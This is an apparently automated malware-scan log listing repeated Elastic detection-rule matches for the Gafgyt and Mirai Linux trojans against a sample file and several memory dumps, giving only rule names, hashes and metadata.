Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5838.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_e0673a90 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 6834f65d54bbfb926f986fe2dd72cd30bf9804ed65fcc71c2c848e72350f386a, id = e0673a90-165e-4347-a965-e8d14fdf684b, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a0a4de11 reference_sample = cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 891cfc6a4c38fb257ada29050e0047bd1301e8f0a6a1a919685b1fcc2960b047, id = a0a4de11-fe65-449f-a990-ad5f18ac66f0, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_09c3070e reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d, id = 09c3070e-4b71-45a0-aa62-0cc6e496644a, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_46eec778 reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518, id = 46eec778-7342-4ef7-adac-35bc0cdb9867, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d0c57a2e os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6, id = d0c57a2e-c10c-436c-be13-50a269326cf2, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_656bf077 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1, id = 656bf077-ca0c-4d28-9daa-eb6baafaf467, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_dd0d6173 reference_sample = c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f, id = dd0d6173-b863-45cf-9348-3375a4e624cf, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_779e142f reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 83377b6fa77fda4544c409487d2d2c1ddcef8f7d4120f49a18888c7536f3969f, id = 779e142f-b867-46e6-b1fb-9105976f42fd, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_cf84c9f2 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = bb766b356c3e8706740e3bb9b4a7171d8eb5137e09fc7ab6952412fa55e2dcfc, id = cf84c9f2-7435-4faf-8c5f-d14945ffad7a, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_862c4e0e reference_sample = 9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 2a6b4f8d8fb4703ed26bdcfbbb5c539dc451c8b90649bee80015c164eae4c281, id = 862c4e0e-83a4-458b-8c00-f2f3cf0bf9db, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_32eb0c81 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 7c50ed29e2dd75a6a85afc43f8452794cb787ecd2061f4bf415d7038c14c523f, id = 32eb0c81-25af-4670-ab77-07ea7ce1874a, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_3fe3c668 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 2a79caea707eb0ecd740106ea4bed2918e7592c1e5ad6050f6f0992cf31ba5ec, id = 3fe3c668-89f4-4601-a167-f41bbd984ae5, last_modified = 2021-09-16
Source: 5833.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_637f2c04 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 7af3d573af8b7f8252590a53adda52ecf53bdaf9a86b52ef50702f048e08ba8c, id = 637f2c04-98e4-45aa-b60a-14a96c6cebb7, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a6a2adb9 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = cdd0bb9ce40a000bb86b0c76616fe71fb7dbb87a044ddd778b7a07fdf804b877, id = a6a2adb9-9d54-42d4-abed-5b30d8062e97, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_f3d83a74 reference_sample = 275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 1c5df68501b688905484ed47dc588306828aa7c114644428e22e5021bb39bd4a, id = f3d83a74-2888-435a-9a3c-b7de25084e9a, last_modified = 2021-09-16
Source: 5832.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
